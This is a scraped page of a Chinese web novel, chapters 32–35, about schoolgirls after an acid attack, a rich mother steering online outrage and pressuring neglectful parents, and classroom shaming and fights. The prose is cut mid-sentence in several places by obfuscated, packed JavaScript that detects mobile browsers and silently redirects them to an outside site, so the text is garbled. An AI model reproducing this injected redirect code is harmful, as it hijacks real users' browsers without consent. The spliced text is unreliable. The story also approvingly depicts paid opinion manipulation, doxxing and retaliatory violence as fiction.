泼硫酸，得是多大的仇多大的怨！ 泼的还是即将高考的女孩，这不存心毁别人的人生吗？ 什么！女方毫发无损，泼硫酸的自食其果，被硫酸搞毁容，还瞎了眼？ 以往的泼硫酸案可不是这样的！ 一些网友立刻提出质疑：“这新闻该不会是女的给男学生泼硫酸吧？谁能笨手笨脚到把硫酸泼自己身上啊！肯定是女的歹毒，故意残害男学生！” 32.不爱就是不爱 任何言语上的反驳都比不上李金元泼硫酸的视频，当视频在网上传播，质疑真相的网友不得不承认，李金元才是泼别人硫酸的恶人。 崔皓月和陆晨曦碰都没碰硫酸瓶。 李金元自作自受，罪有应得！ 但某些网友并不肯放过视频中的女生：“这是蓄意伤人吧？明知瓶子里装着浓硫酸，还故意让硫酸往男学生脸上泼！这个矮个子女生反应这么快，肯定能让硫酸泼到别的地方，不伤害任何一个人！” “得了吧，除了李金元，谁会知道瓶子里装着硫酸？” “你这么牛，咋不算算李金元蓄意泼别人硫酸会被法官判几年。” 正义的网友纷纷发言。 事关宝贝女儿，陆妈妈正在关注网上的舆论。 看到污蔑女儿陆晨曦和女儿好朋友崔皓月的恶毒言论，她皱着眉，懒得辩，直接安排律师起诉。 一般人是不敢招惹官司的，被起诉后赶紧删除不当言论、不当视频，表面上装作无事发生，暗地里求律师撤诉。 不道歉就想撤诉？ 休想！ 陆妈妈的态度决定律师的应对方式，除了几个死不悔改的人，别的老老实实地在网络平台上公开道歉。 舆论是可以左右的。 陆妈妈立刻花了一笔钱，将网友对李金元泼硫酸案的关注，导向了法律将会如何惩罚李金元、李金元的父亲诈骗几百万装修款，让李金元父子在网络上狠狠地出名。 热搜在榜上挂了几天，关注度开始降低。 忽然间，渣爸逼迫即将高考的女儿辍学嫁人的新热搜席卷全网，这可怜女儿还是李金元泼硫酸案的当事人，勇敢地阻止恶毒的李金元伤害自己的好朋友。 媒体在文章里描述留守儿童崔皓月的乡村生活，因性别女遭到父母厌弃，她弟弟却深受父母宠爱。 当姐姐和奶奶在老家耕田种地，被毒辣的阳光晒伤皮肤，弟弟和父母却在繁华的大城市，一边吹空调一边吃雪糕一边看电视。 城市里幸福美满的一家三口，与乡村中孤苦伶仃的奶孙二人形成鲜明的对比。 在过年那天，弟弟穿着四五百元的球鞋回家，向穿着破袜子旧拖鞋的姐姐炫耀，球鞋弄脏后丢给姐姐洗，但凡是个有良知的网友看了都会一肚子气。 同一对爸妈的孩子，区别怎能这么大？ 陆妈妈依然花钱引导舆论，让崔皓月的偏心爸妈、受宠弟弟被网友们骂了个狗血淋头。 出于对崔皓月救了陆晨曦的感激，陆妈妈特地打电话问候她爸妈，询问夫妻二人是否满意正义网友们给予他们的关注。 当今时代，但凡是个拥有智能手机的人，都会上网。 李金凤和徐峰当然看到热搜下铺天盖地的言论。 即便他们不想看，他们的亲朋好友也会询问他们是否看到。 还会问他们是不是热搜中逼迫高考生辍学嫁人的坏家长，劝他们对女儿好一点，别那么偏心眼，劝他们对留守乡村的可怜老人孝顺一点…… 大众的关注如同放大镜，李金凤和徐峰如何经受得起网友们的审视？ 两人的生活在几天内变得一片混乱。 有人把他们的身份捅了出去，网友在社交平台上私信谩骂他们。 有人开直播告诉网友他们干了哪些缺德事，公开他们的联系方式，他们的手机立刻被陌生来电陌生信息塞满。 他们走在路上，也被人吐口水，被指指点点，被嘲笑，被骂，被好心人劝说，被好为人师者当众教育如何做合格的家长…… 就算是他们的儿子，也被同学老师问起四五百元的球鞋，被问是否同情老家的姐姐，以后会不会拿姐姐嫁人的彩礼给自己娶老婆…… 接到儿子的电话，听到儿子哭着说“我恨你们”时，夫妻俩心都碎了。 仿佛从人间跌入地狱。 尤其是儿子说他很痛苦，宁愿跳楼自尽，李金凤吓得报警，唯恐儿子真的想不开，急匆匆地去学校找儿子。 她抱着儿子哭，陆妈妈拨通她新买的手机号，笑着问她近期过得好不好，是否思念远方独自求学的女儿，是否喜欢当下的境遇，她差点摔了手机。 一定是这个人害了他们一家！ 一定是！ 不然这个人怎会问她这种奇怪的问题！ 太可怕了，这个人！ 网上针对他们一家的言论，难道都是电话那头的女人促成的？ 李金凤质问对方。 对方笑而不语，她不由得胡思乱想。 陌生人怎么会无缘无故针对他们？因为徐婷婷吗？ 徐婷婷到底做了什么，能让这么可怕的人出手对付他们？ 打电话来的如果是男人，她还能猜测徐婷婷傍上大款，可这是个女人，徐婷婷总不能被女人看上了吧？ 李金凤不关注新闻，不知道崔皓月救了陆晨曦，也没有人告诉她。 她想象不出陆妈妈为崔皓月出头的理由，陆妈妈挂断电话之后，她害怕极了，后悔极了。 那天大老远的坐车去学校里探望女儿徐婷婷，她为什么不能耐心点哄好徐婷婷？ 为什么那么吝啬，连一件新衣服都不舍买给女儿，连生活费都不愿意给？ 如果她和女儿关系好，是不是不会被网友们批评谩骂？是不是能搭上那个打来电话的陌生厉害女人，过上更好的生活？ 徐峰也收到了陆妈妈的问候。 两天后，律师打电话给两夫妻，问他们想不想平息风波。 谁能忍受被所有人一致针对的生活？ 李金凤受不了，徐峰也受不了，他们的宝贝儿子更加受不了。 律师列条件：“首先，把崔皓月的学杂费、伙食费、生活费补上，共计9654元，明天之前要打入崔皓月的账户。” 九千多块钱他们还是拿得出来的。 律师继续说：“崔皓月读大学的费用应该由你们支付，到时候我会发来详细的账单，你们按照账单支付费用，这个条件能答应吧？” 读大学得费多少钱啊，徐峰不想同意，可是李金凤拽了拽他，他会意，说好。 大不了到时赖掉。 律师提醒：“如果你们违反协议，将会由第三方追究责任，我劝你们还是老实些比较好，别耍花招。不然，你们会付出比现在更严重的代价。” 徐峰悚然一惊，急忙求饶：“可是，可是……我和我老婆都是乡下来城里打工的，我们穷，哪里出得起那么多的钱？” 律师淡淡地说：“需要我告诉你们，你们有多少资产吗？” 天啊！家底都被摸清了！ 徐峰感到异常恐惧。 对付他们的大人物太过强势，除了乖乖听从对方的安排，他竟然找不出第二个选择。 徐婷婷到底走了什么狗运，能遇到这种大人物？ 他也后悔了，后悔没有好好对待徐婷婷。 …… 被陆晨曦告知，李金凤和徐峰会支持自己读大学，崔皓月一脸迷惑。 她爸妈是这样的人吗？ 陆晨曦说：“不管他们是不是，我妈说了，他们必须是。” 原来是陆妈妈说服夫妻俩做个好人？崔皓月感觉事情没那么简单，直到同桌晏北回给她看手机：“你爸妈开直播说愧对你！” 开直播？李金凤和徐峰？ 崔皓月快速看完直播录像，认为李金凤和徐峰还是原来的模样。 所谓的支持，大约是毫无用处的口头支持。 但她收到一笔钱，备注是“爸妈给你交学费伙食费”。 数额不小，接近一万块，就那样静静地躺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她记得崔皓月的家长有多混账，没有把学生的联系方式给出去。 被这般温柔对待，崔皓月鼻子酸涩，忍不住问：“老师，我能抱抱你吗？” “啊？当然能！”陈若龙也可怜她的处境，微微弯腰，将她拥入怀中，“老师虽然不是你妈妈，但你可以把老师当妈妈看。对我来说，你们这些学生，其实跟我的孩子差不多。” “老师有孩子吗？”崔皓月好奇。 “并没有。” 陈若龙有点生疏地拍了拍怀里的孩子，回忆过去：“想结婚的时候，我看到曾经相爱的夫妻离婚，感觉爱情不过如此，婚姻更是遍地鸡毛。索性我单身到老得了，这辈子都不用给别人做菜洗碗，也挺好。” 抱着她，崔皓月心想，老师这么好，妈妈那么坏，怎能把老师当成妈妈的替代品？ 拥抱结束后，崔皓月凝视老师，情难自禁：“老师，我爱您，我永远爱您！” 头一次被学生表白，陈若龙不由得笑了，揉了揉她的脑袋：“好呀，我要你考上大学，要你过上你想过的美好生活！” 给她看手机上的聊天内容：“这是你的妈妈，打钱的截图在这。她肯给你钱，你便好好地拿着，别想着退回去，也不要乱花，以后拿来读书，拿来生活都行。大人有工作，不差这点钱，你是爸妈生的，花爸妈的钱天经地义！” 截图刚才崔皓月看过，打款数额和时间是对得上的。 现在，她得思考如何处理李金凤和徐峰。 【叮！你触发了生活事件】 【冷漠无情的爸妈仿佛换了个人，主动打钱供你读书生活，你决定——】 【选项一：欣然接受，打电话表示感激之情，获得100元零花钱】 【选项二：断然拒绝，你能凭自己的本事赚钱读书生活，获得500元零花钱和50积分】 【选项三：被亏待那么多年，些许臭钱岂能弥补心底的伤痛！马上打电话给爸妈，理直气壮地要求他们给予更多补偿，不给就是不爱你！获得1000元零花钱和100积分】 33.武道家LV2 遇到选择先看选项三，崔皓月一如既往地被惊到了。 这样做很不孝顺，会被大众谴责。 她应该选一，做个人人喜欢的孝顺女儿。最好把钱退回去，反正她已经交了钱给学校，用不上账户里的九千多块。 只是，凭什么要她孝顺？ 从前的她非常孝顺，父母要她成绩好，要她听奶奶的话，要她勤俭节约，要她把年夜饭的鸡腿让给弟弟，要她在乡下读书…… 她全都做到了，那么乖巧。 可她得到了什么？ 是一片卫生巾要用一天的拮据，是痛经时想要打电话寻求妈妈安慰却不敢打的心酸，是脱掉鞋子被人看到破袜子的尴尬，是生长发育期天天吃青菜豆腐导致的矮小个子，是冬天不暖和的被褥，是夏季吃不到的雪糕…… 亏待了她那么多年，享受了她这么多年的顺从，李金凤和徐峰不配要求她孝顺！不配谴责她不孝！ 令从前的她觉得大逆不道的选项三，是她此时此刻最诚实的心声。 忽然之间，崔皓月觉得自己猜到系统设置选择的机制，三个不同的选项看起来是系统给她的，实际上三个选项都是她内心想法的投射。 不，她不承认认陆晨曦的妈妈为养母是自己的想法。 所以选项的生成机制应该是，系统根据她以往的言行举止推测她可能作出的反应，从而给出保守、中规中矩、激进这三项不同倾向的选择。 【叮！恭喜使用者猜中系统的选项生成机制，请使用者继续保持思考】 【背包增加1格】 【你获得1000积分奖励】 【你获得10000元奖励】 系统刷新信息，崔皓月又惊又喜，奖励好丰厚！ 选择倒计时还在进行，她果断选择选项三。 正如老师所说，读书要花钱，生活也要花钱，她才不要傻傻地把钱退回去！ 不仅不退，她还要他们给她打更多钱！ 生下女儿就应该好好地对待她，为她花钱，满足她的需求，这样才是合格的父母！ 得到陈若龙的允许，崔皓月向李金凤发去视频通话邀请。 李金凤立刻接通。 将手机前置摄像头对准自己，崔皓月大大方方地说：“是我，你知道我是谁吧？” 李金凤认出她：“婷婷？” 叫谁婷婷呢？ 崔皓月毫不犹豫地挂断视频通话，给徐峰打视频。 接通后，她说：“认得出我是你的女儿吧？钱我已经收到，太少了，根本付不起县城里新房子的首付，你赶紧打二十万给我，明天回来陪我看房子，顺便去银行办理购房贷款，买房后每个月出钱帮我还贷——” 徐峰一声不吭地挂断视频，相当快地拉黑她。 刚好李金凤要视频通话，崔皓月接通。 “妈，爸爸说了，要给我买新房子，你给我打二十万——” “打个鬼！妈没钱！” 李金凤变了脸，迅速挂断视频。 教室里是同学们读书的声音，走廊上夜风吹拂。 崔皓月理了理吹乱的发丝，将手机还给陈若龙，神色平静，心中没有一丝意外。 爱？ 李金凤和徐峰不爱她。 钱？ 如果可以的话，他们一毛都不愿意给。 补偿？ 错误的！那是夫妻二人为了获取巨大利益，对她进行的投资行为。 爸妈在网友的教育下迷途知返？ 若是真的痛改前非，怎会在她要求买房子时挂断视频？愧对她的直播是演的，打钱给她是陆妈妈要求的，是被迫的、非自愿的行为。 得亏她聪明，没上他们的当！ 【叮！你完成选项三，1000元零花钱已发放至账号，100积分已发放】 系统给的一千块，比徐峰打来的九千多更能让崔皓月高兴，她露出一丝笑容。 “你……感觉还好吧？”陈若龙目睹了全过程，问得小心翼翼。 “心里很轻松。”崔皓月讲实话，“他们的确不爱我，我不用跟他们纠缠，不必为他们爱我却被我误解感到自责，不必为了让他们出钱支持我读大学费尽口舌。” 她的眼睛亮得像天上的星星，直视陈若龙：“老师能理解吗？我是自由的，没有人能控制我，让我做我不想做的事情。我是无拘无束的，像天上的鸟，除了我自己，谁也不能左右我将会飞往的方向！” 这表达方式是跟陆晨曦学来的吗？陈若龙能感受到崔皓月的喜悦，下意识地为她鼓掌：“我是不是应该向你道喜？” 啊！有点羞耻！ 崔皓月的脸浮起红晕，习惯性低下头，羞赧地说：“老师，我应该回教室里背诗词了。” 陈若龙哈哈一笑，放她回去。 …… 接连两个热搜对校园的影响并不大，学生们还是照常学习、生活。 不过，泼硫酸案结束了，别的事还没有结束。 这天早上，大家在教室里早读，陆晨曦走上讲台，打开投影仪，让所有同学看一张标注了姓名的聊天截图。 她显然是要搞事情。 同学们看着截图内容，读书好的也不想读书了，等着吃瓜。 崔皓月和晏北回也来到讲台，如同忠诚的左右护法站在陆晨曦身边，和她一起面对即将发生的事情。 就算是陆晨曦，也要从朋友身上汲取勇气。 “请安静！” 陆晨曦笑着打手势，让大家闭嘴。 人们很给她面子，不一会儿就安静下来，一双双眼睛兴奋地看她，期待她的发言。 陆晨曦知道大家想看什么，拿起教鞭，指着截图中的一段发言，声情并茂地念：“陆晨曦多好看，还有钱，我能做她男朋友，不得爽上天了！” 这样的话私下说说还好，拿到大庭广众之下，同学们都发出善意的笑声，揶揄地打量脸色涨红的周建康。 “原来你暗恋陆晨曦！” “快高考了，你还想谈恋爱？” “怎么不能谈了，高中三年总不能天天都在学习吧？” “哎呀，这难道是小说里玫瑰色的青春？好可恶，我竟然变成围观别人爱情的路人甲！” “求你们，别这样说我！”周建康偷偷看面带笑容的陆晨曦，羞恼地瞪同学，“我是喜欢陆晨曦，她那么好看那么有钱，我就喜欢她！” 高中即将结束，如果陆晨曦愿意，他一定不会拒绝和她谈一场轰轰烈烈的恋爱！ 瞧她那笑脸，他便知道她对他有好感。 天哪！她在看他！ 望向讲台下渴望自己垂青的周建康，陆晨曦掩饰着内心的厌恶，保持和善的微笑：“周同学，谢谢你喜欢我。” 周建康顿时笑得合不拢嘴。 下一刻，他听到陆晨曦苦恼地说：“不过，周同学好像更喜欢我的钱，以及我的外表。无论是网络聊天，还是现实，你都强调我的钱和外表讨你喜欢。我想，如果我没有钱，长得丑陋，你肯定不会喜欢我，我一下子就难受起来。” 周建康的脸色僵住了。 这莫非是传说中的恋爱送命题？ 他不假思索地撒谎：“怎么可能不喜欢，你是优秀的女生，我对你的喜欢，跟你有没有钱、好不好看没有任何关系！” “真的吗？你没骗我吗？”陆晨曦故作惊喜。 随后，她疑惑地重复他的话：“她那么好看那么有钱，我就喜欢她！周同学，这是你亲口说的话！” 崔皓月皱起眉头，不喜欢这样的陆晨曦。 晏北回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475285|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也觉得陆晨曦做作，悄悄给崔皓月使眼色：她好假啊！ 崔皓月不会读眼色，陷入思考，晏北回在表达什么？ 台下的同学同样不适应这样的陆晨曦，以为她故意演戏逗大家，发出哄堂大笑。 “男人的嘴，骗人的鬼！周建康喜欢的正是你的钱和美貌，但凡你少了任何一样，他都不会看上你的！” “哈哈，刚才还说爱陆晨曦的钱，现在又说不爱钱了，谁信他啊！” “周建康这人太拜金，还贪色！”晏北回加入同学的讨论，“他看上晨曦，倒是没想过自己配不配得上我家晨曦，也就晨曦脾气好，没骂他癞□□想吃天鹅肉！” 崔皓月极少上讲台，正紧张，闻言镇定了点，发表看法：“色在其次，他以为当了晨曦的男朋友就能拿到晨曦的全部家产，挺会做梦的。” 什么挺会做梦！ 周建康愤怒地盯着崔皓月，盯着含笑的陆晨曦。 他想到截图中别人骂他“舔狗不得好死”，那仿佛是他此时的真实写照。 为什么！他都发言维护陆晨曦了，陆晨曦竟然放任她的两个朋友如此嘲讽他！ 他夸她美！夸她有钱！ 难道他还有错了？值得她这样挖苦他！ “做个男的就是占便宜。”陆晨曦叹息一声，“女的活得多苦，出去吃饭不AA就被男的骂拜金。男的呢？觊觎我的钱，垂涎我家的巨额资产，骂他拜金的人寥寥无几！” “他也只能流口水，干不了别的。”晏北回戏谑地接话。 “陆晨曦！” 周建康再也无法沉默，猛地站起来，红着眼吼道：“张浩文骂你，只有我帮你说话，你怎么对我的？嘲笑我！你还是人吗？” “怎么不是人？”陆晨曦笑盈盈，“你觊觎我的家产，我嘲笑你两句，多正常的人啊！你觉得你帮我说话，我只看到你把我当成桌子上的一盘菜，想吃，吃不到，急得抓耳挠腮。” “你——” 周建康离开座位，抡起拳头便要教训她。 这女人犯贱，该打！ 察觉他的意图，崔皓月立刻使用升级不久的【武道家LV2】技能。 先动手的人会被追究责任，她等到周建康出手，立刻反击，三下五除二制服他，将他按倒在地上。 怎么回事？ 周建康一头雾水，摸不清发生了什么。 自己是人高马大的体育委员，力气那么大，怎么一下子就被女生抓住，动弹不得？ “武术！” “崔皓月真的会武术！” “周建康怎么弱得像小鸡？” 看戏的同学们十分惊奇，不想吃瓜的人也抬起头。 个别人拿出手机，催促崔皓月：“快放开他！让我们看清楚你怎么放倒他的！我要拍视频上传到网上！” 崔皓月并不肯放人，目光投向陆晨曦。 陆晨曦会意，一脸怕怕地发出做作的尖叫：“啊！我差点被打！周建康好可怕！我指出他觊觎我的家产他便要打我！他该不会学习李金元，打算泼我硫酸吧？” 同学们翻白眼。 陆晨曦嘻嘻一笑，示意崔皓月放开周建康：“给他机会，他也打不过你。” 周建康不服，他一个大男人，肯定能打过崔皓月这个女的！ 被放开，他立刻握紧拳头打崔皓月的脸，要向大家证明自己没有弱得像小鸡。 不料，崔皓月从容地避开拳头，抓住他的手就是一个过肩摔。 啪！ 周建康被她狠狠地甩在地上。 同学们喝彩：“帅！再来！爱看！” 被摔疼了，周建康听着同学对崔皓月的赞叹，失去了跟她交手的勇气。 怕她殴打自己，他爬起来逃出教室，跑去找老师告状。 34.抽你两巴掌 “胆子比芝麻还小！”教室里，陆晨曦对周建康作出评价。 面朝同学们，她露出真实的笑容：“大家看清楚周建康是个什么人了吧？贪色！拜金！胆小！但是崇尚暴力，喜欢打人！” “这个人的气性太小了，戳穿他的真面目，他就发怒，啧啧。”晏北回帮腔，“以后他跟别人谈恋爱，跟别人结婚，我觉得他肯定会打女朋友、打老婆！” “希望他遇到的女生都对他没有感觉。”崔皓月也有同样的担忧。 底下的同学从崔皓月会武术的事实中回过神来，想起周建康走向讲台时凶恶得像是要吃人的表情，话都不说就要用拳头打陆晨曦，要不是崔皓月及时拦住他，陆晨曦肯定遭殃。 而且，崔皓月制服他，将他放开后，他做的第一件事竟然是殴打她！ 在一个班学习，谁不怕这种冲动易怒还会打人的人？ 周建康的同桌是最害怕的，顾不得请示老师，马上就把自己的书桌和椅子都搬走，根本不想跟周建康同桌。 女生都打，男生惹他生气还得了！ 班里有人被周建康针对，看到周建康被崔皓月教训，被大家议论，深感快意。 “我就说他不是个好东西！你们还不理我！哼！” “嗐，不是不理，我也怕他啊，我又没学过武术，他欺负我怎么办？” 角落里，没有同桌的张浩文如坐针毡。 投影屏幕上的聊天截图他认得出来，陆晨曦对他的头像、昵称进行打码，没有对他发作，让他不安极了。 在他看来，周建康就算觊觎陆晨曦的钱和美貌，那也是维护陆晨曦，帮她说话。 周建康已经那么舔了，都被陆晨曦报复，他这个骂了陆晨曦、恶意揣测陆晨曦的人能有好下场？ 该死的！到底是谁那么恶毒，竟然把聊天内容截图发给陆晨曦！ 张浩文环视教室，试图揪出男生聊天群里的叛徒。 他的视线落在黄鑫身上，虽然没有确凿证据，可是他怀疑，叛徒是黄鑫。 被他盯着，黄鑫心虚地移开目光。 随后，黄鑫不甘示弱地盯回来，装出没有算计他的样子。 一定是黄鑫！ 张浩文心里笃定。 讲台上，晏北回羡慕地看着崔皓月，“好厉害！你三两下就把周建康摔在地上，我好想学你的功夫！” 功夫哎，谁不想学？同学们七嘴八舌。 “你的功夫在哪里学的？” “崔皓月，你会不会轻功？” 得到【武道家】技能的日子不久，崔皓月现在的威风，全是技能施展期间获得的增益。 她轻轻地摇头：“我只会一点，不厉害的。”拽了拽陆晨曦，示意好友别浪费时间。 武道家升级到【LV2】，依然是每日可使用1次，但1次持续45分钟，崔皓月还想认真地学习一下练武的姿势。 陆晨曦倒是晓得她的武功时灵时不灵，赶紧在投影仪上操作，将聊天截图的码撤除了一层，在显露的昵称和头像上添上两个姓名，于是聊天截图变成—— 赵宏：“嘻嘻，想看陆晨曦和狗的18X本子！” 秦飞哲：“想看+1，谁画个？” 如此内容并不适合放在大众场合，同学们有的害羞，有的发出唏嘘声，有的轻声说了句恶心。 腼腆内向的眼镜仔赵宏一边吃瓜一边拿着手机看漫画，忽然被同桌推了推：“看，你和秦飞哲上电视了！” 什么上电视？ 赵宏茫然地抬头，一眼看到投影仪上自己的姓名，以及自己的发言。 他还看到陆晨曦冷冰冰的目光，那种厌恶、恶心得像是看到蟑螂的神情，就算他是个迟钝笨拙的人，也能清楚地感觉到。 作为男生群里的普通人，相貌平平，成绩不好不差，还是一个害怕交际的社恐，赵宏从未和陆晨曦这种极其优秀的女生对视过。 他连正眼看她都不敢，只会看她的照片，心里偷偷评价她的外表，认为她不如某某明星漂亮，不如漫画美少女可爱。 可她是他在现实中见过的，最好看的女生。 她厌恶他。 不只是陆晨曦，赵宏还看到崔皓月、晏北回，她们也厌恶他。 别的女同学惊讶地看他，仿佛他是个肮脏的蟑螂，让她们感到恶心。 “好恶心哦！”邻座的女生如同躲避瘟疫一样躲避他，捏着鼻子，跟同桌说，“以为他是个老实人，顶多话少了点，没想到他会说出那么恶毒的话……” “是啊，知人口面不知心！陆晨曦多好的人啊，他居然那样侮辱陆晨曦！”女生的同桌当然是女生，看着赵宏，故意大声说，“赵宏真恶心！想到我还要跟他一个班，我就盼着赶紧考高考！” 前座的男同学也扭过头看他，眼神里带着几分佩服。 察觉女生们把赵宏当成蟑螂看，男同学的眼神变了变，露出鄙夷之色：“哇！赵宏，你在群里说的话原来那么恶心吗？陆晨曦没惹你，你把她当成什么了？日本的核废水漫画看多了就是你这个样吧，太逆天了！” 恶意从四面八方袭来，赵宏脸色煞白，嘴唇颤抖，僵硬地坐在位置上，脑子嗡嗡响。 为什么大家要这样对他？ 他只是开个玩笑，又不是真的要看真人和狗的18X本子，人和狗只是本子里常见的性/癖而已！ 而且，女人不都是那样的吗？他说想看陆晨曦的本子，是在赞美陆晨曦啊！ 一个女人，本子越多越有魅力！有的女人会把自己画进颜色本子，免费给粉丝看，粉丝还嫌那女人难看，说她不配进本子呢！ 赵宏想起宅男在日本是个贬义词，心里悲愤。 国内对二次元的接受度为什么这么低？ 他对漫画的爱好，他的宅男言论，让他在同学眼中变成了恶心的怪胎！ 一句话都说不出口，赵宏深深低头，不敢看别人异样的目光。 他的同桌悄悄避开他，也不想跟他做同桌，嫌他恶心。 其实他们未必觉得赵宏的言论有什么不对的地方，只是女同学都一脸厌恶之色，他们便知道赵宏的话不被大众接受，随大流厌恶赵宏。 不同于默不作声的赵宏，另一个当事人秦飞哲脸皮厚多了，大家讨厌他，他不服气，大声质问陆晨曦：“你从哪里搞来的聊天截图？我随便聊句天你还不许，你算老几？” 他对二次元不感兴趣，天天阴暗地偷窥女生，早就是女生们的公敌。 这会儿班上的女生都在看他，他不害羞，反而很兴奋，猥琐地盯着陆晨曦：“你好看，我想看你的颜色本子，不很正常吗？你们女生很享受被男生们追捧吧？” 若说赵宏是蟑螂，秦飞哲就是茅坑里扭动的蛆，陆晨曦做出干呕的动作，听得秦飞哲的话，气得脸色都涨红了。 她骂道：“死变/态！滚！” 崔皓月不可能容忍秦飞哲恶心自己和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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触及崔皓月冷漠无情的眼睛，仿佛她还要打人，秦飞哲哆嗦了一下，缩着脖子叫道：“别打我！求你了，别打我！我知道错了！” 脸真的好疼！他不想挨打！ “哈，现在知道痛了？”晏北回嗤笑，“刚才你不是天不怕地不怕吗？” 秦飞哲缩着头不敢吭声。 陆晨曦从讲台上下来，拿着教鞭，见了秦飞哲这怂包样，扬起教鞭抽他，一边抽一边骂：“让你犯/贱！让你找打！我不揍你你把我当软柿子！我咋不早点揍你！” “好痛！救命！”秦飞哲吓得抱头鼠窜。 陆晨曦下手毫不留情，教鞭细细的落在身上，比挨耳光还痛。 晏北回兴奋地说：“揍他！狠狠地揍他！看他还敢不敢用恶心的眼神看我们女生！看他还敢不敢开恶心玩笑！” 忌惮着崔皓月，秦飞哲挨了一顿抽，逃出教室，泪眼汪汪地走上了找老师告状的路。 留在教室里的同学们开心吃瓜，嘻嘻哈哈：“陆晨曦你怎么也学会打人了？” “还不是因为秦飞哲太恶心！”陆晨曦拿着教鞭回教室，看向赵宏，冷笑一声，“班里还有个假老实真龌龊的双面人呢！” 不必崔皓月帮忙，陆晨曦把教鞭递给晏北回，大步走向赵宏。 赵宏惶恐地抬起头，面上露出求饶之色：“别、别打我！” 陆晨曦一把捏住他下巴，啪啪两巴掌扇在他脸上，厌恶地说道：“看我的本子？我还想看你被虐//杀后碎//尸扔进马桶冲走的G向本子呢！” 35.事故 先是周建康，然后是秦飞哲和赵宏，下一个该是自己。张浩文挠着发痒的下巴，又觉得头皮难受，伸手挠了挠，不料浑身像是有蚂蚁爬，难受得不行。 他一会儿看陆晨曦，一会儿看会武术的崔皓月，时不时看一眼黄鑫，仿佛等待死刑的犯人，不知道可怕的未来何时降临。 周建康被嘲笑了，秦飞哲挨了打，赵宏也被扇了两巴掌。 自己骂陆晨曦，恶意猜测她，她打算怎样报复他？ 都怪黄鑫！肯定是他把截图发给陆晨曦！ 黄鑫这个人特别小气，只是开玩笑说他普信，他居然翻脸了！ 张浩文愤怒地瞪着黄鑫，这个该死的叛徒！在群里面潜水，用聊天截图害人！ 周建康被他害惨了，秦飞哲和赵宏也被他害惨了，接下来自己也会被黄鑫害得很惨！ 母夜叉崔皓月本来就没人敢惹，如今显露武术，张浩文没有信心打赢她。 明明黄鑫说话比自己恶毒，他没把话录下来作证据，陆晨曦便不知道！想到自己被陆晨曦报复，说陆晨曦母女都陪有钱男人睡的黄鑫却毫发无损，张浩文便无法忍受。 像是感觉到张浩文气得冒火的目光，黄鑫朝他看过来，神色戏谑，充满幸灾乐祸，迫不及待要看他倒楣。 死矮子！ 张浩文怒火攻心，猛地冲向黄鑫，重重一拳砸中黄鑫的脸，把黄鑫本来就塌的鼻子打扁，两行红彤彤的鼻血立刻流下。 “我打死你！臭侏儒！” 抓着痛到哭的黄鑫，张浩文将他拖出位置，把他摔在书桌之间的过道，立刻骑上去按住他一顿暴打。 “啊！” 有人吓得尖叫：“打人了！” 打人和打人也是不一样的，崔皓月打人、陆晨曦打人，大家都不害怕，甚至拍手为她们叫好。 可是，张浩文打黄鑫、周建康打崔皓月和陆晨曦，大家见了就怕。因为他们动手打人时已经失去理智，像一只挣脱囚笼的野兽，狰狞恐怖，撞到谁就咬谁一口。 同学们纷纷退避，看着黄鑫被打得鼻青脸肿，下意识地躲到崔皓月身边。 张浩文发了狠，挨打的黄鑫也害怕被打死，抱住张浩文的手，张开嘴狠狠咬下。 在张浩文的惨叫中，他尝到血的味道，精神亢奋起来，咬得更用力，要把张浩文的肉撕下来一块。 张浩文躲不回手，另一只手使劲捶打他：“你松嘴！别咬了！再不松嘴老子打死你！” 晏北回看得心里直发毛，挨着崔皓月，小声说：“他们打得好狠！” 男生斗殴不常见，可崔皓月惦记着【武道家】的习武经验，一边记忆一边点头：“嗯。”心思根本不在斗殴上。 陆晨曦抱着双手看戏：“狗咬狗，一嘴毛，真好看。” 可惜这出好戏看不了多久，周建康带来一个陌生男老师，扭打在一起的张浩文和黄鑫听到呵斥，不仅没有停手，反而打得更凶狠。 这个男老师，正是崔皓月打了张浩文一巴掌那天碰到的那个。 他也害怕两个男学生打架波及自己，吼道：“你们是不是想记过处分退学？都高三了还在班里惹是生非！你们家长知道了得有多难受！还不分开！要我打电话报警抓你们是吧？” 被恐吓，张浩文和黄鑫总算舍得放开彼此了。 两人一个被打得面目全非，一个肉被咬下半块，一个哭丧着脸呜呜呜，要打电话找家长给自己出头，一个忍着痛破口大骂。 黄鑫矮小，不爱运动，张浩文打得他门牙都掉了一颗，说话漏风。 男老师看了看两人的伤，头突突地疼，挥挥手：“都跟我去校医室上药！” “老师！我被那个女的打了！”周建康不甘心被张浩文二人抢了风头，抓住男老师，指着崔皓月三人，“她们骂我！合伙打我！我要让她们上新闻！让她们被所有人骂！” “你哪里受伤了？”男老师不耐烦，“连个女生都打不过，白长这么大的个子！” “我——” 周建康哪里想到男老师看不起他，他自觉受到侮辱，一怒之下猛地一推男老师：“你太不负责任了！全班都看到，那个女的打我！她会武功！” 本来被推一下也不会出什么事，可男老师站不稳，朝着高出地面一截的讲台摔去。 他的脑壳撞到台阶，血立刻从脑袋上淌下来。 感觉撞到的地方湿乎乎的，男老师伸手摸了摸，看到满手血，白眼一翻，竟然昏厥过去。 教室里，尖锐的惨叫传到了邻班：“啊！” 出大事了！ 陆晨曦眉头紧皱，立刻掏出手机拨打120叫救护车过来，一边挡住接近昏厥男老师的同学们：“别靠近！你们没有急救知识，有可能让他伤上加伤！” 吓得同学们纷纷后退。 男老师头上的血还在流，地上出现一片小小的血泊。 